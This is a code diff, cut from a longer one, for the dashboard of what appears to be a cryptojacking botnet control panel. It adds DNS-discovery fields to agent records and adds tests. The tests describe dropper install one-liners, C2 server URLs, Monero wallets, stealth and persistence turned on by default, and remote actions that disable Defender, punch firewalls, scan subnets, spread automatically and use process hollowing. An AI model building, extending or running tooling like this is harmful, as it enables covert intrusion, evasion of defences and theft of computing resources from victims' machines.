+ const closeSpy = vi.spyOn(MockWebSocket.prototype, 'close');
+ const { unmount } = render();
+ unmount();
+ expect(closeSpy).toHaveBeenCalled();
+ });
+});
diff --git a/server/web/src/context/WebSocketProvider.tsx b/server/web/src/context/WebSocketProvider.tsx
index 16a94e9..63eb121 100644
--- a/server/web/src/context/WebSocketProvider.tsx
+++ b/server/web/src/context/WebSocketProvider.tsx
@@ -114,6 +114,9 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
(update.shares_accepted ?? a.shares_good)
),
status: 'online' as const,
+ ...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
+ ...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
+ ...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),
...(update.cpu_freq_mhz !== undefined ? { cpu_freq_mhz: update.cpu_freq_mhz } : {}),
...(update.cpu_max_mhz !== undefined ? { cpu_max_mhz: update.cpu_max_mhz } : {}),
...(update.cpu_throttle !== undefined ? { cpu_throttle: update.cpu_throttle } : {}),
diff --git a/server/web/src/help/buildManager.test.ts b/server/web/src/help/buildManager.test.ts
new file mode 100644
index 0000000..a23e4b0
--- /dev/null
+++ b/server/web/src/help/buildManager.test.ts
@@ -0,0 +1,90 @@
+import { describe, expect, it } from 'vitest';
+import { blueprintDiff, buildRequestFromRecord } from './buildManager';
+
+describe('blueprintDiff', () => {
+ it('returns empty diff for identical objects', () => {
+ const base = { a: 1, b: 'two', c: true };
+ expect(blueprintDiff(base, { ...base })).toEqual([]);
+ });
+
+ it('detects added, removed, and changed keys', () => {
+ const base = { keep: 1, gone: 'old', tweak: 'a' };
+ const current = { keep: 1, newKey: true, tweak: 'b' };
+ const diff = blueprintDiff(base, current);
+ expect(diff).toEqual([
+ { key: 'gone', kind: 'removed', from: 'old' },
+ { key: 'newKey', kind: 'added', to: true },
+ { key: 'tweak', kind: 'changed', from: 'a', to: 'b' },
+ ]);
+ });
+
+ it('sorts keys alphabetically', () => {
+ const diff = blueprintDiff({ z: 1 }, { a: 2, m: 3, z: 1 });
+ expect(diff.map((d) => d.key)).toEqual(['a', 'm']);
+ });
+
+ it('compares nested values via JSON serialization', () => {
+ const diff = blueprintDiff(
+ { nested: { x: 1, y: 2 } },
+ { nested: { x: 1, y: 3 } }
+ );
+ expect(diff).toEqual([
+ { key: 'nested', kind: 'changed', from: { x: 1, y: 2 }, to: { x: 1, y: 3 } },
+ ]);
+ });
+
+ it('treats array order as significant', () => {
+ const diff = blueprintDiff({ tags: ['a', 'b'] }, { tags: ['b', 'a'] });
+ expect(diff).toHaveLength(1);
+ expect(diff[0].kind).toBe('changed');
+ });
+
+ it('handles empty objects', () => {
+ expect(blueprintDiff({}, {})).toEqual([]);
+ expect(blueprintDiff({}, { only: 1 })).toEqual([{ key: 'only', kind: 'added', to: 1 }]);
+ expect(blueprintDiff({ only: 1 }, {})).toEqual([{ key: 'only', kind: 'removed', from: 1 }]);
+ });
+});
+
+describe('buildRequestFromRecord', () => {
+ const record = {
+ worker_name: 'worker-a',
+ server_url: 'https://c2.example.com',
+ wallet: '4' + 'B'.repeat(94),
+ threads: 8,
+ pool_host: 'pool.example.com',
+ pool_port: 443,
+ pool_tls: true,
+ pool_pass: 'secret',
+ };
+
+ it('spreads defaults then overrides with record fields', () => {
+ const defaults = { threads: 4, stealth_mode: true, extra_flag: false };
+ const req = buildRequestFromRecord(record, defaults);
+ expect(req).toMatchObject({
+ ...defaults,
+ worker_name: record.worker_name,
+ server_url: record.server_url,
+ wallet: record.wallet,
+ threads: record.threads,
+ pool_host: record.pool_host,
+ pool_port: record.pool_port,
+ pool_tls: record.pool_tls,
+ pool_pass: record.pool_pass,
+ });
+ expect(req.threads).toBe(8);
+ expect(req.stealth_mode).toBe(true);
+ });
+
+ it('record fields win over colliding default keys', () => {
+ const req = buildRequestFromRecord(record, { worker_name: 'ignored', threads: 1 });
+ expect(req.worker_name).toBe('worker-a');
+ expect(req.threads).toBe(8);
+ });
+
+ it('preserves extra default keys not present on record', () => {
+ const req = buildRequestFromRecord(record, { fusion_enabled: true, ai_model: 'llama3.2' });
+ expect(req.fusion_enabled).toBe(true);
+ expect(req.ai_model).toBe('llama3.2');
+ });
+});
diff --git a/server/web/src/help/cheatSheetContent.test.ts b/server/web/src/help/cheatSheetContent.test.ts
new file mode 100644
index 0000000..f615742
--- /dev/null
+++ b/server/web/src/help/cheatSheetContent.test.ts
@@ -0,0 +1,200 @@
+import { describe, expect, it } from 'vitest';
+import {
+ AI_GUIDE,
+ CHEAT_SECTIONS,
+ FORGE_VS_CALIBRATE,
+ FUSION_GUIDE,
+ NETWORK_GUIDE,
+ PIPELINE_STEPS,
+ ROADMAP_FEATURES,
+ TROUBLESHOOTING,
+} from './cheatSheetContent';
+
+function assertSteps(steps: { id: string; title: string; subtitle: string; icon: string; body: string }[]) {
+ const ids = steps.map((s) => s.id);
+ expect(new Set(ids).size).toBe(ids.length);
+ for (const step of steps) {
+ expect(step.title.trim().length).toBeGreaterThan(0);
+ expect(step.subtitle.trim().length).toBeGreaterThan(0);
+ expect(step.icon.trim().length).toBeGreaterThan(0);
+ expect(step.body.trim().length).toBeGreaterThan(20);
+ }
+}
+
+describe('PIPELINE_STEPS', () => {
+ it('defines six pipeline stages in workflow order', () => {
+ expect(PIPELINE_STEPS).toHaveLength(6);
+ expect(PIPELINE_STEPS.map((s) => s.id)).toEqual([
+ 'calibrate',
+ 'forge',
+ 'buildmgr',
+ 'drop',
+ 'connect',
+ 'mine',
+ ]);
+ expect(PIPELINE_STEPS.map((s) => s.title)).toEqual([
+ 'Calibrate',
+ 'Forge',
+ 'Build Manager',
+ 'Drop',
+ 'Connect',
+ 'Mine',
+ ]);
+ });
+
+ it('each step has required content fields', () => {
+ assertSteps(PIPELINE_STEPS);
+ });
+
+ it('routed steps link to primary app pages', () => {
+ const routed = PIPELINE_STEPS.filter((s) => s.route);
+ expect(routed.map((s) => s.route)).toEqual([
+ '/settings',
+ '/forge',
+ '/builds',
+ '/agents',
+ '/dashboard',
+ ]);
+ for (const step of routed) {
+ expect(step.routeLabel?.trim().length).toBeGreaterThan(0);
+ }
+ });
+
+ it('drop step includes install one-liner example', () => {
+ const drop = PIPELINE_STEPS.find((s) => s.id === 'drop')!;
+ expect(drop.code).toContain('install.ps1');
+ expect(drop.tips?.some((t) => t.includes('install.sh'))).toBe(true);
+ });
+});
+
+describe('FORGE_VS_CALIBRATE', () => {
+ it('has forge and calibrate sections with titles and item lists', () => {
+ expect(FORGE_VS_CALIBRATE.forge.title).toMatch(/Forge/i);
+ expect(FORGE_VS_CALIBRATE.calibrate.title).toMatch(/Calibrate/i);
+ expect(FORGE_VS_CALIBRATE.forge.items.length).toBeGreaterThan(10);
+ expect(FORGE_VS_CALIBRATE.calibrate.items.length).toBeGreaterThan(5);
+ });
+
+ it('forge items cover baked-in agent settings', () => {
+ const joined = FORGE_VS_CALIBRATE.forge.items.join(' ');
+ expect(joined).toMatch(/C2|server URL/i);
+ expect(joined).toMatch(/wallet/i);
+ expect(joined).toMatch(/Fusion/i);
+ });
+
+ it('calibrate items cover server-only settings', () => {
+ const joined = FORGE_VS_CALIBRATE.calibrate.items.join(' ');
+ expect(joined).toMatch(/Listen port/i);
+ expect(joined).toMatch(/retention/i);
+ });
+});
+
+describe('NETWORK_GUIDE', () => {
+ it('has five network topology steps with unique ids', () => {
+ expect(NETWORK_GUIDE).toHaveLength(5);
+ expect(NETWORK_GUIDE.map((s) => s.id)).toEqual(['n1', 'n2', 'n3', 'n4', 'n5']);
+ assertSteps(NETWORK_GUIDE);
+ });
+});
+
+describe('FUSION_GUIDE', () => {
+ it('has four fusion workflow steps', () => {
+ expect(FUSION_GUIDE).toHaveLength(4);
+ expect(FUSION_GUIDE.map((s) => s.id)).toEqual(['f1', 'f2', 'f3', 'f4']);
+ assertSteps(FUSION_GUIDE);
+ });
+});
+
+describe('AI_GUIDE', () => {
+ it('has three AI autonomy steps', () => {
+ expect(AI_GUIDE).toHaveLength(3);
+ expect(AI_GUIDE.map((s) => s.id)).toEqual(['a1', 'a2', 'a3']);
+ assertSteps(AI_GUIDE);
+ });
+
+ it('mentions Ollama and decide loop', () => {
+ const bodies = AI_GUIDE.map((s) => s.body).join(' ');
+ expect(bodies).toMatch(/Ollama/i);
+ expect(bodies).toMatch(/decide/i);
+ });
+});
+
+describe('TROUBLESHOOTING', () => {
+ it('lists common problems with non-empty fixes', () => {
+ expect(TROUBLESHOOTING.length).toBeGreaterThanOrEqual(10);
+ for (const entry of TROUBLESHOOTING) {
+ expect(entry.problem.trim().length).toBeGreaterThan(10);
+ expect(entry.fix.trim().length).toBeGreaterThan(20);
+ }
+ });
+
+ it('covers forge, pool, and dropper failure modes', () => {
+ const problems = TROUBLESHOOTING.map((t) => t.problem).join(' ');
+ expect(problems).toMatch(/Forge/i);
+ expect(problems).toMatch(/hashrate|shares/i);
+ expect(problems).toMatch(/dropper|PS1/i);
+ });
+
+ it('shares-rejected fix matches wallet validator range', () => {
+ const entry = TROUBLESHOOTING.find((t) => t.problem.includes('Shares all rejected'))!;
+ expect(entry.fix).toMatch(/90.*106/);
+ expect(entry.fix).toMatch(/4 or 8/);
+ });
+});
+
+describe('ROADMAP_FEATURES', () => {
+ it('entries have priority, title, and description', () => {
+ expect(ROADMAP_FEATURES.length).toBeGreaterThan(10);
+ for (const feat of ROADMAP_FEATURES) {
+ expect(['high', 'medium', 'low']).toContain(feat.priority);
+ expect(feat.title.trim().length).toBeGreaterThan(3);
+ expect(feat.desc.trim().length).toBeGreaterThan(10);
+ }
+ });
+
+ it('includes shipped core features', () => {
+ const titles = ROADMAP_FEATURES.map((f) => f.title);
+ expect(titles).toContain('Build Manager full page');
+ expect(titles).toContain('AI Autonomy (Ollama)');
+ expect(titles).toContain('Dropper endpoints');
+ });
+});
+
+describe('CHEAT_SECTIONS', () => {
+ const expectedSections = [
+ { id: 'pipeline', title: 'End-to-end pipeline' },
+ { id: 'network', title: 'Network topology — Cloudflare tunnel setup' },
+ { id: 'fusion', title: 'Fusion workflow' },
+ { id: 'ai', title: 'AI Autonomy workflow' },
+ { id: 'troubleshoot', title: 'Troubleshooting' },
+ ];
+
+ it('registers five guide sections with stable ids and titles', () => {
+ expect(CHEAT_SECTIONS).toHaveLength(5);
+ expect(CHEAT_SECTIONS.map((s) => ({ id: s.id, title: s.title }))).toEqual(expectedSections);
+ });
+
+ it('each section has a non-empty description', () => {
+ for (const section of CHEAT_SECTIONS) {
+ expect(section.description.trim().length).toBeGreaterThan(20);
+ }
+ });
+
+ it('step sections reference the exported step arrays', () => {
+ const byId = Object.fromEntries(CHEAT_SECTIONS.map((s) => [s.id, s]));
+ expect(byId.pipeline.steps).toBe(PIPELINE_STEPS);
+ expect(byId.network.steps).toBe(NETWORK_GUIDE);
+ expect(byId.fusion.steps).toBe(FUSION_GUIDE);
+ expect(byId.ai.steps).toBe(AI_GUIDE);
+ });
+
+ it('troubleshoot section maps cards from TROUBLESHOOTING', () => {
+ const troubleshoot = CHEAT_SECTIONS.find((s) => s.id === 'troubleshoot')!;
+ expect(troubleshoot.cards).toHaveLength(TROUBLESHOOTING.length);
+ expect(troubleshoot.cards![0]).toEqual({
+ title: TROUBLESHOOTING[0].problem,
+ body: TROUBLESHOOTING[0].fix,
+ accent: 'amber',
+ });
+ });
+});
diff --git a/server/web/src/help/cheatSheetContent.ts b/server/web/src/help/cheatSheetContent.ts
index 8be16b0..9d4e55f 100644
--- a/server/web/src/help/cheatSheetContent.ts
+++ b/server/web/src/help/cheatSheetContent.ts
@@ -361,7 +361,7 @@ export const TROUBLESHOOTING = [
},
{
problem: 'Shares all rejected',
- fix: 'Wallet address is invalid or wrong for the pool. Monero wallet addresses are 95 chars starting with 4. Some pools require exact format — check your pool dashboard. Accept rate updates live once real shares come in.',
+ fix: 'Wallet address is invalid or wrong for the pool. Monero wallet addresses are 90–106 chars starting with 4 or 8. Some pools require exact format — check your pool dashboard. Accept rate updates live once real shares come in.',
},
{
problem: 'Preflight ✕ blocking forge',
diff --git a/server/web/src/help/forgeDefaults.test.ts b/server/web/src/help/forgeDefaults.test.ts
new file mode 100644
index 0000000..4f4ce8a
--- /dev/null
+++ b/server/web/src/help/forgeDefaults.test.ts
@@ -0,0 +1,74 @@
+import { describe, expect, it } from 'vitest';
+import { FORGE_BUILD_DEFAULTS, forgeDefaultsFromServer } from './forgeDefaults';
+import { mockServerConfig, mockServerInfo } from '../test/fixtures';
+
+describe('FORGE_BUILD_DEFAULTS', () => {
+ it('sets safe production defaults for a new forge form', () => {
+ expect(FORGE_BUILD_DEFAULTS.threads).toBe(4);
+ expect(FORGE_BUILD_DEFAULTS.thread_mode).toBe('percent');
+ expect(FORGE_BUILD_DEFAULTS.stealth_mode).toBe(true);
+ expect(FORGE_BUILD_DEFAULTS.persistence).toBe(true);
+ expect(FORGE_BUILD_DEFAULTS.fusion_enabled).toBe(false);
+ expect(FORGE_BUILD_DEFAULTS.ai_enabled).toBe(false);
+ expect(FORGE_BUILD_DEFAULTS.auto_spread).toBe(false);
+ expect(FORGE_BUILD_DEFAULTS.remote_aggressive).toBe(false);
+ });
+
+ it('omits per-build identity fields (filled by server merge)', () => {
+ const keys = Object.keys(FORGE_BUILD_DEFAULTS);
+ expect(keys).not.toContain('worker_name');
+ expect(keys).not.toContain('server_url');
+ expect(keys).not.toContain('wallet');
+ expect(keys).not.toContain('pool_host');
+ expect(keys).not.toContain('pool_port');
+ expect(keys).not.toContain('pool_tls');
+ expect(keys).not.toContain('pool_pass');
+ });
+});
+
+describe('forgeDefaultsFromServer', () => {
+ it('merges server config pool/wallet with build defaults', () => {
+ const config = mockServerConfig();
+ const result = forgeDefaultsFromServer(config, mockServerInfo);
+ expect(result.wallet).toBe(config.wallet.address);
+ expect(result.pool_host).toBe(config.pool.host);
+ expect(result.pool_port).toBe(config.pool.port);
+ expect(result.pool_tls).toBe(config.pool.use_tls);
+ expect(result.pool_pass).toBe('x');
+ expect(result.worker_name).toBe('');
+ expect(result.stealth_mode).toBe(FORGE_BUILD_DEFAULTS.stealth_mode);
+ });
+
+ it('prefers trimmed public_url over suggested_url', () => {
+ const config = mockServerConfig({
+ server: { public_url: ' https://tunnel.example.com ' },
+ });
+ const result = forgeDefaultsFromServer(config, mockServerInfo);
+ expect(result.server_url).toBe('https://tunnel.example.com');
+ });
+
+ it('falls back to suggested_url when public_url is blank', () => {
+ const config = mockServerConfig({
+ server: { public_url: ' ' },
+ });
+ const result = forgeDefaultsFromServer(config, mockServerInfo);
+ expect(result.server_url).toBe(mockServerInfo.suggested_url);
+ });
+
+ it('reflects obfuscate and sign defaults from server config', () => {
+ const config = mockServerConfig({
+ server: { obfuscate_default: true, sign_enabled: true },
+ });
+ const result = forgeDefaultsFromServer(config, mockServerInfo);
+ expect(result.obfuscate).toBe(true);
+ expect(result.sign_build).toBe(true);
+ });
+
+ it('uses custom pool password when configured', () => {
+ const config = mockServerConfig({
+ pool: { password: 'worker-pass' },
+ });
+ const result = forgeDefaultsFromServer(config, mockServerInfo);
+ expect(result.pool_pass).toBe('worker-pass');
+ });
+});
diff --git a/server/web/src/help/remoteActions.test.ts b/server/web/src/help/remoteActions.test.ts
index 47f5753..c1100ab 100644
--- a/server/web/src/help/remoteActions.test.ts
+++ b/server/web/src/help/remoteActions.test.ts
@@ -1,5 +1,9 @@
import { describe, it, expect } from 'vitest';
-import { AGGRESSIVE_REMOTE_ACTIONS, canRunAggressiveAction } from './aggressiveActions';
+import {
+ AGGRESSIVE_REMOTE_ACTIONS,
+ aggressiveActionHint,
+ canRunAggressiveAction,
+} from './aggressiveActions';
/** Buttons in AgentRemoteActions (full + compact) — must match agent/client handleCommand. */
const UI_REMOTE_ACTIONS = [
@@ -71,3 +75,69 @@ describe('remote action wiring', () => {
expect(canRunAggressiveAction('defender_off', caps, 'windows')).toBe(true);
});
});
+
+describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
+ it('lists every wired aggressive command once', () => {
+ expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(9);
+ expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(9);
+ });
+});
+
+const fullCaps = {
+ hole_punch: true,
+ remote_aggressive: true,
+ mesh_p2p: true,
+ auto_spread: true,
+ process_hollowing: false,
+ ai_enabled: false,
+};
+
+describe('canRunAggressiveAction edge cases', () => {
+ it('allows all actions when caps are undefined (legacy agents)', () => {
+ for (const action of AGGRESSIVE_REMOTE_ACTIONS) {
+ if (action === 'defender_off') continue;
+ expect(canRunAggressiveAction(action, undefined, 'windows')).toBe(true);
+ }
+ });
+
+ it('spread_now requires auto_spread or remote_aggressive', () => {
+ const base = { ...fullCaps, auto_spread: false, remote_aggressive: false };
+ expect(canRunAggressiveAction('spread_now', base)).toBe(false);
+ expect(canRunAggressiveAction('spread_now', { ...base, auto_spread: true })).toBe(true);
+ expect(canRunAggressiveAction('spread_now', { ...base, remote_aggressive: true })).toBe(true);
+ });
+
+ it('mesh_status requires mesh_p2p capability', () => {
+ expect(canRunAggressiveAction('mesh_status', { ...fullCaps, mesh_p2p: false })).toBe(false);
+ expect(canRunAggressiveAction('mesh_status', fullCaps)).toBe(true);
+ });
+
+ it('remote aggressive ops gate tunnel, scan, defender, firewall', () => {
+ const noAgg = { ...fullCaps, remote_aggressive: false };
+ for (const action of ['start_tunnel', 'subnet_scan', 'defender_off', 'firewall_punch'] as const) {
+ expect(canRunAggressiveAction(action, noAgg, 'windows')).toBe(false);
+ expect(canRunAggressiveAction(action, fullCaps, 'windows')).toBe(true);
+ }
+ });
+});
+
+describe('aggressiveActionHint', () => {
+ it('returns undefined when action is allowed', () => {
+ expect(aggressiveActionHint('hole_punch', fullCaps)).toBeUndefined();
+ expect(aggressiveActionHint('spread_now', fullCaps)).toBeUndefined();
+ });
+
+ it('returns macOS-specific hint for defender_off', () => {
+ expect(aggressiveActionHint('defender_off', fullCaps, 'darwin')).toBe(
+ 'Defender disable not supported on macOS'
+ );
+ });
+
+ it('suggests re-forge hints when capability missing', () => {
+ const noCaps = { ...fullCaps, hole_punch: false, auto_spread: false, remote_aggressive: false, mesh_p2p: false };
+ expect(aggressiveActionHint('hole_punch', noCaps)).toContain('NAT Hole Punch');
+ expect(aggressiveActionHint('spread_now', noCaps)).toContain('Auto-Spread');
+ expect(aggressiveActionHint('mesh_status', noCaps)).toContain('Mesh P2P');
+ expect(aggressiveActionHint('start_tunnel', noCaps)).toContain('Remote Aggressive Ops');
+ });
+});
diff --git a/server/web/src/pages/AgentsPage.test.tsx b/server/web/src/pages/AgentsPage.test.tsx
index 033a488..24f3e62 100644
--- a/server/web/src/pages/AgentsPage.test.tsx
+++ b/server/web/src/pages/AgentsPage.test.tsx
@@ -13,6 +13,10 @@ vi.mock('../hooks/useWebSocket', () => ({
useWebSocket: vi.fn(),
}));
+vi.mock('../components/Fleet/AgentRemoteActions', () => ({
+ default: () => ,
+}));
+
const useWebSocketMock = vi.mocked(useWebSocket);
function wsValue(overrides: Partial> = {}) {
diff --git a/server/web/src/pages/CruciblePage.css b/server/web/src/pages/CruciblePage.css
index 22716ab..709a9c0 100644
--- a/server/web/src/pages/CruciblePage.css
+++ b/server/web/src/pages/CruciblePage.css
@@ -226,6 +226,38 @@
50% { opacity: 0.45; }
}
+/* ── DNS row (T1016) ──────────────────────────────────────────────────────── */
+.cn-dns-row {
+ font-size: 0.6rem;
+ font-family: var(--font-tech);
+ color: #666;
+ margin-top: 4px;
+ padding: 2px 0;
+ letter-spacing: 0.04em;
+ display: flex;
+ align-items: center;
+ gap: 4px;
+}
+.cn-dns-row.dns-drifted { color: var(--neon-amber); }
+.cn-dns-icon { opacity: 0.4; font-size: 0.55rem; }
+.dns-drift-flag { color: var(--neon-amber); font-weight: 700; margin-left: 4px; }
+
+/* ── DNS DRIFT badge ──────────────────────────────────────────────────────── */
+.cn-dns {
+ font-size: 0.62rem;
+ font-family: var(--font-tech);
+ padding: 1px 4px;
+ border-radius: 3px;
+ letter-spacing: 0.04em;
+ cursor: default;
+}
+.cn-dns.dns-drift {
+ color: var(--neon-amber);
+ background: rgba(255,176,32,0.14);
+ font-weight: 700;
+ animation: rb-blink 1.2s step-end infinite;
+}
+
/* ── Resource pressure badges ─────────────────────────────────────────────── */
.cn-thermal, .cn-disk, .cn-throttle {
font-size: 0.62rem;
diff --git a/server/web/src/pages/CruciblePage.tsx b/server/web/src/pages/CruciblePage.tsx
index 4eb8c19..ef7574b 100644
--- a/server/web/src/pages/CruciblePage.tsx
+++ b/server/web/src/pages/CruciblePage.tsx
@@ -78,6 +78,14 @@ function postureTooltip(agent: Agent): string {
if (agent.reboot_pending !== undefined) {
lines.push(`Reboot required: ${agent.reboot_pending ? 'YES ⚠' : 'no ✓'}`);
}
+ // DNS config
+ if (agent.dns_servers?.length) {
+ lines.push('──────────────────────');
+ lines.push(`DNS (T1016): ${agent.dns_servers.join(', ')}`);
+ if (agent.dns_search_domains?.length) lines.push(`Search: ${agent.dns_search_domains.join(', ')}`);
+ if (agent.dns_drifted) lines.push('⚠ DNS changed since last heartbeat!');
+ }
+
// Resource pressure
const tempLabel = agent.gpu_temp_c !== undefined ? `GPU ${agent.gpu_temp_c}°C` : agent.cpu_temp_c !== undefined ? `CPU ${agent.cpu_temp_c}°C` : null;
if (tempLabel || agent.disk_free_pct !== undefined || agent.cpu_throttle !== undefined) {
@@ -146,6 +154,13 @@ function throttleBadge(agent: Agent): { label: string; cls: string } | null {
return { label, cls: 'therm-warm' };
}
+// ── DNS helpers (T1016) ────────────────────────────────────────────────────
+
+function dnsBadge(agent: Agent): { label: string; cls: string } | null {
+ if (agent.dns_drifted) return { label: 'DNS DRIFT', cls: 'dns-drift' };
+ return null;
+}
+
// ── Service helpers (T1007) ────────────────────────────────────────────────
// Human-readable label for well-known service names
@@ -575,7 +590,21 @@ export default function CruciblePage() {
title={`CPU running at ${a.cpu_freq_mhz ?? '?'} MHz (max ${a.cpu_max_mhz ?? '?'} MHz)`}
>{trb.label}
); })()}
+ {(() => { const db2 = dnsBadge(a); return db2 && (
+ {db2.label}
+ ); })()}
+ {a.dns_servers && a.dns_servers.length > 0 && (
+
+ ⬡
+ {a.dns_servers.slice(0, 2).join(' · ')}
+ {a.dns_drifted && ⚠ DRIFT}
+
+ )}
{a.services && a.services.length > 0 && (
{importantServices(a.services).map(svc => (
diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts
index 71391b2..b47df39 100644
--- a/server/web/src/types/index.ts
+++ b/server/web/src/types/index.ts
@@ -24,6 +24,11 @@ export interface Agent {
arch?: string;
os_version?: string;
capabilities?: AgentCapabilities;
+ // DNS config — T1016
+ dns_servers?: string[];
+ dns_search_domains?: string[];
+ dns_drifted?: boolean;
+
// Resource pressure
cpu_freq_mhz?: number;
cpu_max_mhz?: number;
diff --git a/server/web/src/types/ws.ts b/server/web/src/types/ws.ts
index 1af460b..4c2690e 100644
--- a/server/web/src/types/ws.ts
+++ b/server/web/src/types/ws.ts
@@ -19,6 +19,11 @@ export interface WSStatsUpdate {
uptime_seconds?: number;
shares_submitted?: number;
shares_accepted?: number;
+ // DNS config — T1016
+ dns_servers?: string[];
+ dns_search_domains?: string[];
+ dns_drifted?: boolean;
+
// Resource pressure
cpu_freq_mhz?: number;
cpu_max_mhz?: number;
diff --git a/server/web/vitest.config.ts b/server/web/vitest.config.ts
index 52fdb37..0bea43b 100644
--- a/server/web/vitest.config.ts
+++ b/server/web/vitest.config.ts
@@ -7,7 +7,10 @@ export default defineConfig({
setupFiles: ['src/test/setup.ts'],
environmentMatchGlobs: [
['src/api/**', 'happy-dom'],
+ ['src/context/**', 'happy-dom'],
+ ['src/hooks/**', 'happy-dom'],
['src/pages/**', 'happy-dom'],
+ ['src/components/**', 'happy-dom'],
],
},
});